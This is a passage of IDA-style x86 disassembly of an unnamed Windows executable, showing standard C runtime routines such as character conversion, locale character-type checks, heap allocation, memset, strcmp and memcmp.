		push	ecx
		push	1
		lea	ecx, [ebp+arg_8]
		push	ecx
		push	esi
		push	dword ptr [eax+4]
		call	ds:dword_4200D8	; WideCharToMultiByte
		cmp	eax, esi
		jz	short loc_41C248
		cmp	[ebp+arg_4], esi
		jz	short loc_41C256


loc_41C248:				; CODE XREF: sub_41C1F9+21j
					; sub_41C1F9+48j
		call	sub_419600
		mov	dword ptr [eax], 2Ah
		or	eax, 0FFFFFFFFh


loc_41C256:				; CODE XREF: sub_41C1F9+Fj
					; sub_41C1F9+28j ...
		pop	esi
		pop	ebp
		retn
sub_41C1F9	endp


; =============== S U B	R O U T	I N E =======================================



sub_41C259	proc near		; CODE XREF: sub_416662+317p
					; sub_416662+6F7p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		call	sub_416E15
		mov	eax, [eax+64h]
		cmp	eax, off_42D83C
		jz	short loc_41C26E
		call	sub_417C4E


loc_41C26E:				; CODE XREF: sub_41C259+Ej
		push	[esp+arg_4]
		push	[esp+4+arg_0]
		push	eax
		call	sub_41C1F9
		add	esp, 0Ch
		retn
sub_41C259	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41C280	proc near		; CODE XREF: sub_416E15+23p
					; sub_416E86+29p ...

var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
ms_exc		= CPPEH_RECORD ptr -18h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

; FUNCTION CHUNK AT 0041C333 SIZE 00000008 BYTES

		push	10h
		push	offset stru_429940
		call	__SEH_prolog
		mov	esi, [ebp+arg_0]
		imul	esi, [ebp+arg_4]
		mov	[ebp+var_1C], esi
		test	esi, esi
		jnz	short loc_41C29B
		inc	esi


loc_41C29B:				; CODE XREF: sub_41C280+18j
					; sub_41C280+9Fj
		xor	edi, edi
		mov	[ebp+var_20], edi
		cmp	esi, 0FFFFFFE0h
		ja	short loc_41C30A
		cmp	dword_47C980, 3
		jnz	short loc_41C2F5
		add	esi, 0Fh
		and	esi, 0FFFFFFF0h
		mov	[ebp+arg_4], esi
		mov	ebx, [ebp+var_1C]
		cmp	ebx, dword_47C96C
		ja	short loc_41C2F5
		push	4
		call	sub_418285
		pop	ecx
		and	[ebp+ms_exc.disabled], edi
		push	ebx
		call	sub_418ADD
		pop	ecx
		mov	[ebp+var_20], eax
		or	[ebp+ms_exc.disabled], 0FFFFFFFFh
		call	sub_41C32A
		mov	edi, [ebp+var_20]
		test	edi, edi
		jz	short loc_41C2F9
		push	[ebp+var_1C]
		push	0
		push	edi
		call	sub_41C550
		add	esp, 0Ch


loc_41C2F5:				; CODE XREF: sub_41C280+2Cj
					; sub_41C280+40j
		test	edi, edi
		jnz	short loc_41C333


loc_41C2F9:				; CODE XREF: sub_41C280+65j
		push	esi
		push	8
		push	dword_47C97C
		call	ds:dword_42005C	; RtlAllocateHeap
		mov	edi, eax


loc_41C30A:				; CODE XREF: sub_41C280+23j
		test	edi, edi
		jnz	short loc_41C333
		cmp	dword_47C35C, edi
		jz	short loc_41C333
		push	esi
		call	sub_41947D
		pop	ecx
		test	eax, eax
		jnz	loc_41C29B
		jmp	short loc_41C335
sub_41C280	endp


; =============== S U B	R O U T	I N E =======================================



sub_41C327	proc near		; DATA XREF: .rdata:stru_429940o
		mov	esi, [ebp+0Ch]
sub_41C327	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_41C32A	proc near		; CODE XREF: sub_41C280+5Bp
		push	4
		call	sub_4181F1
		pop	ecx
		retn
sub_41C32A	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_41C280


loc_41C333:				; CODE XREF: sub_41C280+77j
					; sub_41C280+8Cj ...
		mov	eax, edi


loc_41C335:				; CODE XREF: sub_41C280+A5j
		call	__SEH_epilog
		retn
; END OF FUNCTION CHUNK	FOR sub_41C280

; =============== S U B	R O U T	I N E =======================================



sub_41C33B	proc near		; CODE XREF: sub_416F0B+CFp
					; sub_416F0B+301p ...

arg_0		= dword	ptr  4

		call	sub_416E15
		mov	eax, [eax+64h]
		cmp	eax, off_42D83C
		jz	short loc_41C350
		call	sub_417C4E


loc_41C350:				; CODE XREF: sub_41C33B+Ej
		cmp	dword ptr [eax+28h], 1
		jle	short loc_41C366
		push	4
		push	[esp+4+arg_0]
		push	eax
		call	sub_417A4B
		add	esp, 0Ch
		retn
; ---------------------------------------------------------------------------


loc_41C366:				; CODE XREF: sub_41C33B+19j
		mov	eax, [eax+48h]
		mov	ecx, [esp+arg_0]
		movzx	eax, byte ptr [eax+ecx*2]
		and	eax, 4
		retn
sub_41C33B	endp


; =============== S U B	R O U T	I N E =======================================



sub_41C375	proc near		; CODE XREF: sub_416F0B+840p
					; sub_416F0B+922p

arg_0		= dword	ptr  4

		call	sub_416E15
		mov	eax, [eax+64h]
		cmp	eax, off_42D83C
		jz	short loc_41C38A
		call	sub_417C4E


loc_41C38A:				; CODE XREF: sub_41C375+Ej
		cmp	dword ptr [eax+28h], 1
		jle	short loc_41C3A3
		push	80h
		push	[esp+4+arg_0]
		push	eax
		call	sub_417A4B
		add	esp, 0Ch
		retn
; ---------------------------------------------------------------------------


loc_41C3A3:				; CODE XREF: sub_41C375+19j
		mov	eax, [eax+48h]
		mov	ecx, [esp+arg_0]
		movzx	eax, byte ptr [eax+ecx*2]
		and	eax, 80h
		retn
sub_41C375	endp


; =============== S U B	R O U T	I N E =======================================



sub_41C3B4	proc near		; CODE XREF: sub_416F0B+3Fp
					; sub_416F0B+5Ap ...

arg_0		= dword	ptr  4

		call	sub_416E15
		mov	eax, [eax+64h]
		cmp	eax, off_42D83C
		jz	short loc_41C3C9
		call	sub_417C4E


loc_41C3C9:				; CODE XREF: sub_41C3B4+Ej
		cmp	dword ptr [eax+28h], 1
		jle	short loc_41C3DF
		push	8
		push	[esp+4+arg_0]
		push	eax
		call	sub_417A4B
		add	esp, 0Ch
		retn
; ---------------------------------------------------------------------------


loc_41C3DF:				; CODE XREF: sub_41C3B4+19j
		mov	eax, [eax+48h]
		mov	ecx, [esp+arg_0]
		movzx	eax, byte ptr [eax+ecx*2]
		and	eax, 8
		retn
sub_41C3B4	endp


; =============== S U B	R O U T	I N E =======================================



sub_41C3EE	proc near		; CODE XREF: sub_416F0B+6Dp
					; sub_416F0B+3DCp ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	ebx
		mov	ebx, [esp+4+arg_0]
		cmp	ebx, 0FFFFFFFFh
		push	esi
		jz	short loc_41C43A
		mov	esi, [esp+8+arg_4]
		mov	eax, [esi+0Ch]
		test	al, 1
		jnz	short loc_41C40C
		test	al, al
		jns	short loc_41C43A
		test	al, 2
		jnz	short loc_41C43A


loc_41C40C:				; CODE XREF: sub_41C3EE+14j
		cmp	dword ptr [esi+8], 0
		jnz	short loc_41C419
		push	esi
		call	sub_41C18B
		pop	ecx


loc_41C419:				; CODE XREF: sub_41C3EE+22j
		mov	eax, [esi]
		cmp	eax, [esi+8]
		jnz	short loc_41C429
		cmp	dword ptr [esi+4], 0
		jnz	short loc_41C43A
		inc	eax
		mov	[esi], eax


loc_41C429:				; CODE XREF: sub_41C3EE+30j
		dec	dword ptr [esi]
		test	byte ptr [esi+0Ch], 40h
		mov	eax, [esi]
		jz	short loc_41C440
		cmp	[eax], bl
		jz	short loc_41C442
		inc	eax
		mov	[esi], eax


loc_41C43A:				; CODE XREF: sub_41C3EE+9j
					; sub_41C3EE+18j ...
		or	eax, 0FFFFFFFFh


loc_41C43D:				; CODE XREF: sub_41C3EE+6Aj
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_41C440:				; CODE XREF: sub_41C3EE+43j
		mov	[eax], bl


loc_41C442:				; CODE XREF: sub_41C3EE+47j
		mov	eax, [esi+0Ch]
		inc	dword ptr [esi+4]
		and	eax, 0FFFFFFEFh
		or	eax, 1
		mov	[esi+0Ch], eax
		mov	eax, ebx
		and	eax, 0FFh
		jmp	short loc_41C43D
sub_41C3EE	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41C45A	proc near		; CODE XREF: sub_41C51A+22p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	ebx
		push	esi
		push	edi
		mov	edi, [ebp+arg_8]
		xor	ebx, ebx
		cmp	edi, ebx
		jz	short loc_41C47E
		cmp	[ebp+arg_C], ebx
		jz	short loc_41C47E
		mov	al, [edi]
		cmp	al, bl
		jnz	short loc_41C485
		mov	eax, [ebp+arg_4]
		cmp	eax, ebx
		jz	short loc_41C47E
		mov	[eax], bx


loc_41C47E:				; CODE XREF: sub_41C45A+Dj
					; sub_41C45A+12j ...
		xor	eax, eax


loc_41C480:				; CODE XREF: sub_41C45A+44j
					; sub_41C45A+8Dj ...
		pop	edi
		pop	esi
		pop	ebx
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_41C485:				; CODE XREF: sub_41C45A+18j
		mov	esi, [ebp+arg_0]
		cmp	[esi+14h], ebx
		jnz	short loc_41C4A0
		mov	ecx, [ebp+arg_4]
		cmp	ecx, ebx
		jz	short loc_41C49B
		movzx	ax, al
		mov	[ecx], ax


loc_41C49B:				; CODE XREF: sub_41C45A+38j
					; sub_41C45A+ABj
		xor	eax, eax
		inc	eax
		jmp	short loc_41C480
; ---------------------------------------------------------------------------


loc_41C4A0:				; CODE XREF: sub_41C45A+31j
		mov	ecx, [esi+48h]
		movzx	eax, al
		test	byte ptr [ecx+eax*2+1],	80h
		jz	short loc_41C4E9
		mov	eax, [esi+28h]
		cmp	eax, 1
		jle	short loc_41C4D7
		cmp	[ebp+arg_C], eax
		jl	short loc_41C4D7
		xor	ecx, ecx
		cmp	[ebp+arg_4], ebx
		setnz	cl
		push	ecx
		push	[ebp+arg_4]
		push	eax
		push	edi
		push	9
		push	dword ptr [esi+4]
		call	ds:dword_4200D4	; MultiByteToWideChar
		test	eax, eax
		jnz	short loc_41C4E4


loc_41C4D7:				; CODE XREF: sub_41C45A+59j
					; sub_41C45A+5Ej
		mov	eax, [ebp+arg_C]
		cmp	eax, [esi+28h]
		jb	short loc_41C507
		cmp	[edi+1], bl
		jz	short loc_41C507


loc_41C4E4:				; CODE XREF: sub_41C45A+7Bj
		mov	eax, [esi+28h]
		jmp	short loc_41C480
; ---------------------------------------------------------------------------


loc_41C4E9:				; CODE XREF: sub_41C45A+51j
		xor	eax, eax
		cmp	[ebp+arg_4], ebx
		setnz	al
		push	eax
		push	[ebp+arg_4]
		push	1
		push	edi
		push	9
		push	dword ptr [esi+4]
		call	ds:dword_4200D4	; MultiByteToWideChar
		test	eax, eax
		jnz	short loc_41C49B


loc_41C507:				; CODE XREF: sub_41C45A+83j
					; sub_41C45A+88j
		call	sub_419600
		mov	dword ptr [eax], 2Ah
		or	eax, 0FFFFFFFFh
		jmp	loc_41C480
sub_41C45A	endp


; =============== S U B	R O U T	I N E =======================================



sub_41C51A	proc near		; CODE XREF: sub_416F0B+68Fp

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		call	sub_416E15
		mov	eax, [eax+64h]
		cmp	eax, off_42D83C
		jz	short loc_41C52F
		call	sub_417C4E


loc_41C52F:				; CODE XREF: sub_41C51A+Ej
		push	[esp+arg_8]
		push	[esp+4+arg_4]
		push	[esp+8+arg_0]
		push	eax
		call	sub_41C45A
		add	esp, 10h
		retn
sub_41C51A	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_41C550	proc near		; CODE XREF: sub_416F0B+512p
					; sub_4199C5+8Cp ...

arg_0		= dword	ptr  4
arg_4		= byte ptr  8
arg_8		= dword	ptr  0Ch

		mov	edx, [esp+arg_8]
		mov	ecx, [esp+arg_0]
		test	edx, edx
		jz	short loc_41C5AB
		xor	eax, eax
		mov	al, [esp+arg_4]
		push	edi
		mov	edi, ecx
		cmp	edx, 4
		jb	short loc_41C59B
		neg	ecx
		and	ecx, 3
		jz	short loc_41C57D
		sub	edx, ecx


loc_41C573:				; CODE XREF: sub_41C550+2Bj
		mov	[edi], al
		add	edi, 1
		sub	ecx, 1
		jnz	short loc_41C573


loc_41C57D:				; CODE XREF: sub_41C550+1Fj
		mov	ecx, eax
		shl	eax, 8
		add	eax, ecx
		mov	ecx, eax
		shl	eax, 10h
		add	eax, ecx
		mov	ecx, edx
		and	edx, 3
		shr	ecx, 2
		jz	short loc_41C59B
		rep stosd
		test	edx, edx
		jz	short loc_41C5A5


loc_41C59B:				; CODE XREF: sub_41C550+18j
					; sub_41C550+43j ...
		mov	[edi], al
		add	edi, 1
		sub	edx, 1
		jnz	short loc_41C59B


loc_41C5A5:				; CODE XREF: sub_41C550+49j
		mov	eax, [esp+4+arg_0]
		pop	edi
		retn
; ---------------------------------------------------------------------------


loc_41C5AB:				; CODE XREF: sub_41C550+Aj
		mov	eax, [esp+arg_0]
		retn
sub_41C550	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41C5B0	proc near		; CODE XREF: sub_417A4B+60p
					; sub_41AC36+A4p

var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= byte ptr -1Ch
ms_exc		= CPPEH_RECORD ptr -18h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h

		push	1Ch
		push	offset stru_429950
		call	__SEH_prolog
		xor	esi, esi
		cmp	dword_47C484, esi
		jnz	short loc_41C5FB
		lea	eax, [ebp+var_1C]
		push	eax
		xor	edi, edi
		inc	edi
		push	edi
		push	offset dword_4290B0
		push	edi
		call	ds:dword_420154	; GetStringTypeW
		test	eax, eax
		jz	short loc_41C5E6
		mov	dword_47C484, edi
		jmp	short loc_41C5FB
; ---------------------------------------------------------------------------


loc_41C5E6:				; CODE XREF: sub_41C5B0+2Cj
		call	ds:dword_420008	; RtlGetLastWin32Error
		cmp	eax, 78h
		jnz	short loc_41C5FB
		mov	dword_47C484, 2


loc_41C5FB:				; CODE XREF: sub_41C5B0+14j
					; sub_41C5B0+34j ...
		mov	eax, dword_47C484
		cmp	eax, 2
		jz	loc_41C6F3
		cmp	eax, esi
		jz	loc_41C6F3
		cmp	eax, 1
		jnz	loc_41C719
		mov	[ebp+var_20], esi
		mov	[ebp+var_24], esi
		cmp	[ebp+arg_10], esi
		jnz	short loc_41C62D
		mov	eax, dword_47C4D0
		mov	[ebp+arg_10], eax


loc_41C62D:				; CODE XREF: sub_41C5B0+73j
		push	esi
		push	esi
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		xor	eax, eax
		cmp	[ebp+arg_18], esi
		setnz	al
		lea	eax, ds:1[eax*8]
		push	eax
		push	[ebp+arg_10]
		call	ds:dword_4200D4	; MultiByteToWideChar
		mov	edi, eax
		mov	[ebp+var_28], edi
		test	edi, edi
		jz	loc_41C719
		and	[ebp+ms_exc.disabled], 0
		lea	ebx, [edi+edi]
		mov	eax, ebx
		add	eax, 3
		and	eax, 0FFFFFFFCh
		call	sub_414800
		mov	[ebp+ms_exc.old_esp], esp
		mov	esi, esp
		mov	[ebp+var_2C], esi
		push	ebx
		push	0
		push	esi
		call	sub_41C550
		add	esp, 0Ch
		or	[ebp+ms_exc.disabled], 0FFFFFFFFh
		jmp	short loc_41C69E
; ---------------------------------------------------------------------------


loc_41C689:				; DATA XREF: .rdata:stru_429950o
		xor	eax, eax
		inc	eax
		retn
; ---------------------------------------------------------------------------


loc_41C68D:				; DATA XREF: .rdata:stru_429950o
		mov	esp, [ebp+ms_exc.old_esp]
		call	sub_419D38
		xor	esi, esi
		or	[ebp+ms_exc.disabled], 0FFFFFFFFh
		mov	edi, [ebp+var_28]


loc_41C69E:				; CODE XREF: sub_41C5B0+D7j
		test	esi, esi
		jnz	short loc_41C6B9
		push	edi
		push	2
		call	sub_41C280
		pop	ecx
		pop	ecx
		mov	esi, eax
		test	esi, esi
		jz	short loc_41C719
		mov	[ebp+var_24], 1


loc_41C6B9:				; CODE XREF: sub_41C5B0+F0j
		push	edi
		push	esi
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	1
		push	[ebp+arg_10]
		call	ds:dword_4200D4	; MultiByteToWideChar
		test	eax, eax
		jz	short loc_41C6E1
		push	[ebp+arg_C]
		push	eax
		push	esi
		push	[ebp+arg_0]
		call	ds:dword_420154	; GetStringTypeW
		mov	[ebp+var_20], eax


loc_41C6E1:				; CODE XREF: sub_41C5B0+11Ej
		cmp	[ebp+var_24], 0
		jz	short loc_41C6EE
		push	esi
		call	sub_414A14
		pop	ecx


loc_41C6EE:				; CODE XREF: sub_41C5B0+135j
		mov	eax, [ebp+var_20]
		jmp	short loc_41C761
; ---------------------------------------------------------------------------


loc_41C6F3:				; CODE XREF: sub_41C5B0+53j
					; sub_41C5B0+5Bj
		mov	ebx, [ebp+arg_14]
		cmp	ebx, esi
		jnz	short loc_41C700
		mov	ebx, dword_47C4C0


loc_41C700:				; CODE XREF: sub_41C5B0+148j
		mov	edi, [ebp+arg_10]
		test	edi, edi
		jnz	short loc_41C70D
		mov	edi, dword_47C4D0


loc_41C70D:				; CODE XREF: sub_41C5B0+155j
		push	ebx
		call	sub_41DF57
		pop	ecx
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_41C71D


loc_41C719:				; CODE XREF: sub_41C5B0+64j
					; sub_41C5B0+A5j ...
		xor	eax, eax
		jmp	short loc_41C761
; ---------------------------------------------------------------------------


loc_41C71D:				; CODE XREF: sub_41C5B0+167j
		cmp	eax, edi
		jz	short loc_41C73F
		push	0
		push	0
		lea	ecx, [ebp+arg_8]
		push	ecx
		push	[ebp+arg_4]
		push	eax
		push	edi
		call	sub_41DFA0
		add	esp, 18h
		mov	esi, eax
		test	esi, esi
		jz	short loc_41C719
		mov	[ebp+arg_4], esi


loc_41C73F:				; CODE XREF: sub_41C5B0+16Fj
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		push	ebx
		call	ds:dword_4201D4	; GetStringTypeA
		mov	edi, eax
		test	esi, esi
		jz	short loc_41C75F
		push	esi
		call	sub_414A14
		pop	ecx


loc_41C75F:				; CODE XREF: sub_41C5B0+1A6j
		mov	eax, edi


loc_41C761:				; CODE XREF: sub_41C5B0+141j
					; sub_41C5B0+16Bj
		lea	esp, [ebp-38h]
		call	__SEH_epilog
		retn
sub_41C5B0	endp


; =============== S U B	R O U T	I N E =======================================



sub_41C76A	proc near		; CODE XREF: sub_417AC2+B1p

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		test	esi, esi
		jz	loc_41C8F8
		push	dword ptr [esi+4]
		call	sub_414A14
		push	dword ptr [esi+8]
		call	sub_414A14
		push	dword ptr [esi+0Ch]
		call	sub_414A14
		push	dword ptr [esi+10h]
		call	sub_414A14
		push	dword ptr [esi+14h]
		call	sub_414A14
		push	dword ptr [esi+18h]
		call	sub_414A14
		push	dword ptr [esi]
		call	sub_414A14
		push	dword ptr [esi+20h]
		call	sub_414A14
		push	dword ptr [esi+24h]
		call	sub_414A14
		push	dword ptr [esi+28h]
		call	sub_414A14
		push	dword ptr [esi+2Ch]
		call	sub_414A14
		push	dword ptr [esi+30h]
		call	sub_414A14
		push	dword ptr [esi+34h]
		call	sub_414A14
		push	dword ptr [esi+1Ch]
		call	sub_414A14
		push	dword ptr [esi+38h]
		call	sub_414A14
		push	dword ptr [esi+3Ch]
		call	sub_414A14
		add	esp, 40h
		push	dword ptr [esi+40h]
		call	sub_414A14
		push	dword ptr [esi+44h]
		call	sub_414A14
		push	dword ptr [esi+48h]
		call	sub_414A14
		push	dword ptr [esi+4Ch]
		call	sub_414A14
		push	dword ptr [esi+50h]
		call	sub_414A14
		push	dword ptr [esi+54h]
		call	sub_414A14
		push	dword ptr [esi+58h]
		call	sub_414A14
		push	dword ptr [esi+5Ch]
		call	sub_414A14
		push	dword ptr [esi+60h]
		call	sub_414A14
		push	dword ptr [esi+64h]
		call	sub_414A14
		push	dword ptr [esi+68h]
		call	sub_414A14
		push	dword ptr [esi+6Ch]
		call	sub_414A14
		push	dword ptr [esi+70h]
		call	sub_414A14
		push	dword ptr [esi+74h]
		call	sub_414A14
		push	dword ptr [esi+78h]
		call	sub_414A14
		push	dword ptr [esi+7Ch]
		call	sub_414A14
		add	esp, 40h
		push	dword ptr [esi+80h]
		call	sub_414A14
		push	dword ptr [esi+84h]
		call	sub_414A14
		push	dword ptr [esi+88h]
		call	sub_414A14
		push	dword ptr [esi+8Ch]
		call	sub_414A14
		push	dword ptr [esi+90h]
		call	sub_414A14
		push	dword ptr [esi+94h]
		call	sub_414A14
		push	dword ptr [esi+98h]
		call	sub_414A14
		push	dword ptr [esi+9Ch]
		call	sub_414A14
		push	dword ptr [esi+0A0h]
		call	sub_414A14
		push	dword ptr [esi+0A4h]
		call	sub_414A14
		push	dword ptr [esi+0A8h]
		call	sub_414A14
		add	esp, 2Ch


loc_41C8F8:				; CODE XREF: sub_41C76A+7j
		pop	esi
		retn
sub_41C76A	endp


; =============== S U B	R O U T	I N E =======================================



sub_41C8FA	proc near		; CODE XREF: sub_417AC2+5Dp

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		test	esi, esi
		jz	short loc_41C957
		mov	eax, [esi]
		mov	ecx, off_42E1F4
		cmp	eax, [ecx]
		jz	short loc_41C91E
		cmp	eax, off_42E1C4
		jz	short loc_41C91E
		push	eax
		call	sub_414A14
		pop	ecx


loc_41C91E:				; CODE XREF: sub_41C8FA+13j
					; sub_41C8FA+1Bj
		mov	eax, [esi+4]
		mov	ecx, off_42E1F4
		cmp	eax, [ecx+4]
		jz	short loc_41C93B
		cmp	eax, off_42E1C8
		jz	short loc_41C93B
		push	eax
		call	sub_414A14
		pop	ecx


loc_41C93B:				; CODE XREF: sub_41C8FA+30j
					; sub_41C8FA+38j
		mov	esi, [esi+8]
		mov	eax, off_42E1F4
		cmp	esi, [eax+8]
		jz	short loc_41C957
		cmp	esi, off_42E1CC
		jz	short loc_41C957
		push	esi
		call	sub_414A14
		pop	ecx


loc_41C957:				; CODE XREF: sub_41C8FA+7j
					; sub_41C8FA+4Cj ...
		pop	esi
		retn
sub_41C8FA	endp


; =============== S U B	R O U T	I N E =======================================



sub_41C959	proc near		; CODE XREF: sub_417AC2+3Ap

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		test	esi, esi
		jz	loc_41CA30
		mov	eax, [esi+0Ch]
		mov	ecx, off_42E1F4
		cmp	eax, [ecx+0Ch]
		jz	short loc_41C983
		cmp	eax, off_42E1D0
		jz	short loc_41C983
		push	eax
		call	sub_414A14
		pop	ecx


loc_41C983:				; CODE XREF: sub_41C959+19j
					; sub_41C959+21j
		mov	eax, [esi+10h]
		mov	ecx, off_42E1F4
		cmp	eax, [ecx+10h]
		jz	short loc_41C9A0
		cmp	eax, off_42E1D4
		jz	short loc_41C9A0
		push	eax
		call	sub_414A14
		pop	ecx


loc_41C9A0:				; CODE XREF: sub_41C959+36j
					; sub_41C959+3Ej
		mov	eax, [esi+14h]
		mov	ecx, off_42E1F4
		cmp	eax, [ecx+14h]
		jz	short loc_41C9BD
		cmp	eax, off_42E1D8
		jz	short loc_41C9BD
		push	eax
		call	sub_414A14
		pop	ecx


loc_41C9BD:				; CODE XREF: sub_41C959+53j
					; sub_41C959+5Bj
		mov	eax, [esi+18h]
		mov	ecx, off_42E1F4
		cmp	eax, [ecx+18h]
		jz	short loc_41C9DA
		cmp	eax, off_42E1DC
		jz	short loc_41C9DA
		push	eax
		call	sub_414A14
		pop	ecx


loc_41C9DA:				; CODE XREF: sub_41C959+70j
					; sub_41C959+78j
		mov	eax, [esi+1Ch]
		mov	ecx, off_42E1F4
		cmp	eax, [ecx+1Ch]
		jz	short loc_41C9F7
		cmp	eax, off_42E1E0
		jz	short loc_41C9F7
		push	eax
		call	sub_414A14
		pop	ecx


loc_41C9F7:				; CODE XREF: sub_41C959+8Dj
					; sub_41C959+95j
		mov	eax, [esi+20h]
		mov	ecx, off_42E1F4
		cmp	eax, [ecx+20h]
		jz	short loc_41CA14
		cmp	eax, off_42E1E4
		jz	short loc_41CA14
		push	eax
		call	sub_414A14
		pop	ecx


loc_41CA14:				; CODE XREF: sub_41C959+AAj
					; sub_41C959+B2j
		mov	esi, [esi+24h]
		mov	eax, off_42E1F4
		cmp	esi, [eax+24h]
		jz	short loc_41CA30
		cmp	esi, off_42E1E8
		jz	short loc_41CA30
		push	esi
		call	sub_414A14
		pop	ecx


loc_41CA30:				; CODE XREF: sub_41C959+7j
					; sub_41C959+C6j ...
		pop	esi
		retn
sub_41C959	endp

; ---------------------------------------------------------------------------
		align 10h
		push	ebp
		mov	ebp, esp
		push	esi
		xor	eax, eax
		push	eax
		push	eax
		push	eax
		push	eax
		push	eax
		push	eax
		push	eax
		push	eax
		mov	edx, [ebp+0Ch]
		lea	ecx, [ecx+0]


loc_41CA54:				; CODE XREF: .text:0041CA61j
		mov	al, [edx]
		or	al, al
		jz	short loc_41CA63
		add	edx, 1
		bts	[esp], eax
		jmp	short loc_41CA54
; ---------------------------------------------------------------------------


loc_41CA63:				; CODE XREF: .text:0041CA58j
		mov	esi, [ebp+8]
		or	ecx, 0FFFFFFFFh
		lea	ecx, [ecx+0]


loc_41CA6C:				; CODE XREF: .text:0041CA7Cj
		add	ecx, 1
		mov	al, [esi]
		or	al, al
		jz	short loc_41CA7E
		add	esi, 1
		bt	[esp], eax
		jnb	short loc_41CA6C


loc_41CA7E:				; CODE XREF: .text:0041CA73j
		mov	eax, ecx
		add	esp, 20h
		pop	esi
		leave
		retn
; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_41CA90	proc near		; CODE XREF: sub_41A204+1Bp

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	edx, [esp+arg_0]
		mov	ecx, [esp+arg_4]
		test	edx, 3
		jnz	short loc_41CADC


loc_41CAA0:				; CODE XREF: sub_41CA90+3Cj
					; sub_41CA90+6Aj ...
		mov	eax, [edx]
		cmp	al, [ecx]
		jnz	short loc_41CAD4
		or	al, al
		jz	short loc_41CAD0
		cmp	ah, [ecx+1]
		jnz	short loc_41CAD4
		or	ah, ah
		jz	short loc_41CAD0
		shr	eax, 10h
		cmp	al, [ecx+2]
		jnz	short loc_41CAD4
		or	al, al
		jz	short loc_41CAD0
		cmp	ah, [ecx+3]
		jnz	short loc_41CAD4
		add	ecx, 4
		add	edx, 4
		or	ah, ah
		jnz	short loc_41CAA0
		mov	edi, edi


loc_41CAD0:				; CODE XREF: sub_41CA90+18j
					; sub_41CA90+21j ...
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------
		align 4


loc_41CAD4:				; CODE XREF: sub_41CA90+14j
					; sub_41CA90+1Dj ...
		sbb	eax, eax
		shl	eax, 1
		add	eax, 1
		retn
; ---------------------------------------------------------------------------


loc_41CADC:				; CODE XREF: sub_41CA90+Ej
		test	edx, 1
		jz	short loc_41CAFC
		mov	al, [edx]
		add	edx, 1
		cmp	al, [ecx]
		jnz	short loc_41CAD4
		add	ecx, 1
		or	al, al
		jz	short loc_41CAD0
		test	edx, 2
		jz	short loc_41CAA0


loc_41CAFC:				; CODE XREF: sub_41CA90+52j
		mov	ax, [edx]
		add	edx, 2
		cmp	al, [ecx]
		jnz	short loc_41CAD4
		or	al, al
		jz	short loc_41CAD0
		cmp	ah, [ecx+1]
		jnz	short loc_41CAD4
		or	ah, ah
		jz	short loc_41CAD0
		add	ecx, 2
		jmp	short loc_41CAA0
sub_41CA90	endp

; ---------------------------------------------------------------------------
		align 10h
		mov	eax, [esp+0Ch]
		test	eax, eax
		jz	short locret_41CB72
		mov	edx, [esp+4]
		push	esi
		push	edi
		mov	esi, edx
		mov	edi, [esp+10h]
		or	edx, edi
		and	edx, 3
		jz	short loc_41CB73
		test	eax, 1
		jz	short loc_41CB53
		mov	cl, [esi]
		cmp	cl, [edi]
		jnz	short loc_41CBA0
		add	esi, 1
		add	edi, 1
		sub	eax, 1
		jz	short loc_41CB70


loc_41CB53:				; CODE XREF: .text:0041CB40j
					; .text:0041CB6Ej
		mov	cl, [esi]
		mov	dl, [edi]
		cmp	cl, dl
		jnz	short loc_41CBA0
		mov	cl, [esi+1]
		mov	dl, [edi+1]
		cmp	cl, dl
		jnz	short loc_41CBA0
		add	edi, 2
		add	esi, 2
		sub	eax, 2
		jnz	short loc_41CB53


loc_41CB70:				; CODE XREF: .text:0041CB51j
					; .text:0041CBAAj
		pop	edi
		pop	esi

locret_41CB72:				; CODE XREF: .text:0041CB26j
		retn
; ---------------------------------------------------------------------------


loc_41CB73:				; CODE XREF: .text:0041CB39j
		mov	ecx, eax
		and	eax, 3
		shr	ecx, 2
		jz	short loc_41CBA8
		repe cmpsd
		jz	short loc_41CBA8
		mov	ecx, [esi-4]
		mov	edx, [edi-4]
		cmp	cl, dl
		jnz	short loc_41CB9B
		cmp	ch, dh
		jnz	short loc_41CB9B
		shr	ecx, 10h
		shr	edx, 10h
		cmp	cl, dl
		jnz	short loc_41CB9B
		cmp	ch, dh


loc_41CB9B:				; CODE XREF: .text:0041CB89j
					; .text:0041CB8Dj ...
		mov	eax, 0


loc_41CBA0:				; CODE XREF: .text:0041CB46j
					; .text:0041CB59j ...
		sbb	eax, eax
		pop	edi
		sbb	eax, 0FFFFFFFFh
		pop	esi
		retn
